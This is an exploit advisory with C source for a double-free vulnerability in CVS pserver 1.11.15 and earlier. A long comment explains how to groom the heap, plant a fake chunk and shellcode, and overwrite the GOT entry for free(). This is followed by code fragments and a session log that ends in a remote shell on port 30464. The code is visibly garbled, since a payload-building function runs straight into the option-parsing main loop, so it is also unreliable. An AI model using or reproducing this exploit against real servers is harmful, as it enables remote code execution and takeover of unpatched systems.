Exploit:
/* Remote CVS <= 1.11.15 exploit for the error_prog_name double free vuln.
*
* by Gyan Chawdhary, gunnu45@hotmail.com
*
* Vulnerability Description:
*
* The Vulnerability lies in the serve_argumentx function. The Argumentx command
* parameter is used to append data to a previously supplied Argument command.
* These data pointers are stored in the argument_vector array. The
* serve_argumentx fails to check wether an Argument command is present in the
* argument_vector and may append data to a pointer that should not get
* touched at all, in our case the *error_prog_name string. The function calls
* realloc to create space for the new string. Because realloc will be called
* to store strlen(error_prog_name) + strlen(somedata) the original chunk which
* just stores error_prog_name will get freed. This free chunk will once again
* get freed after we disconnect from the CVS pserver.
*
* Theory:
*
* Sucessful exploitation depends heavily on a specific heap layout to be met.
* The argument_vector is initialized for holding 3 ptrs. If more space is
* required it will call realloc. The error_prog_name string resides right
* after the argument_vector chunk.
*
* |11| arg_vector |11| error_prog_name |109| some chunk
*
* address of error_prog_name is stored in the argument_vector[0].
*
* To achive sucessfull exploitation the following steps are performed.
*
* 1) Send Argumentx command with a large argument to reallocate error_prog_name
* + large command on top of the heap. This will free the original
* error_prog_name buffer.
*
* 2) Send 50 Argument calls which will require the argument_vector array to be
* reallocated freeing the current buffer. We keep this a high number to get
* mem from the top itself and to make the exploit reliable. As both the
* original the arg_vector & err_prg_name buffers are free they are
* consolidated. Also we supply our fake chunk and shellcode in this call.
*
* 3) Send an argument command with the size & prevsize as its arguments. This
* will now be stored in arg_vector & err_prg_name consolidated buffer.
*
* 4) Once we close the connection free will be called on the error_prog_name
* string which will read our fake size & prev_size fields pointing to the fake
* chunk , executing our shellcode.
*
* Phew !!!!
*
* NOTES: Iv tried this exp on RH 8 with glibc 2.3.*. This exp did NOT work on
* my slack 8.0 cause of glibc 2.2 which creates a very different heap layout.
* Also some tweaking will be required to use this exploit remotely as sometimes
* the overwritten GOT does not execute due to early drop in the connection ..
* Please someone figure it out n mail me :) ..
*
* Now the exploit
*
* FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL
* PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR
* EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE *
* Greets: jp - for his cool paper on advanced malloc exploits, and the heapy.so
* jaguar@felinemenace - We at ... :P
*
* cya
*
* Gyan
*/
char *egg(unsigned int what, unsigned int where)
{
char *ptr, *buf;
int i=0; //dummy = 0xfffffffc;
int size = strlen(shellcode);
// Will contain our fake chunk supplided with our fd & bk fields,
// addr of shellcode & got addr - 8 of free(). We will also try to
// stuff in our shellcode in the same buffer as I dont have enough
// gdb patience/time to find nother controlable buffer :P
buf = (char *)malloc(1250);
ptr = buf;
while ((c = getopt(argc, argv, "h::l:p:i:r:")) != -1) {
switch(c) {
case 'h':
usage(argv[0]);
exit(0);
case 'i':
strncpy(ip, optarg, sizeof(ip));
break;
case 'l':
strncpy(user, optarg, sizeof(user));
break;
case 'p':
strncpy(pass, optarg, sizeof(pass));
break;
case 'r':
strncpy(rep, optarg, sizeof(rep));
break;
}
}
if(ip) {
printf("Connecting to vulnerable CVS server ...");
xp_connect(ip);
printf("OK\n");
}
printf("Logging in ...");
login(user, pass, rep);
printf("OK\n");
printf("Exploiting the CVS error_prog_name double free now ...");
overflow();
printf("DONE\n");
printf("If everything went well there should be a shell on port 30464\n");
}
[root@ill crazy]# ./free -i 127.0.0.1 -l gyan -p gyan -r /home/cvsroot
Connecting to vulnerable CVS server ...OK
Logging in ...I LOVE YOU
OK
Exploiting the CVS error_prog_name double free now ...DONE
If everything went well there should be a shell on port 30464
[root@ill crazy]# telnet 127.0.0.1 30464
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.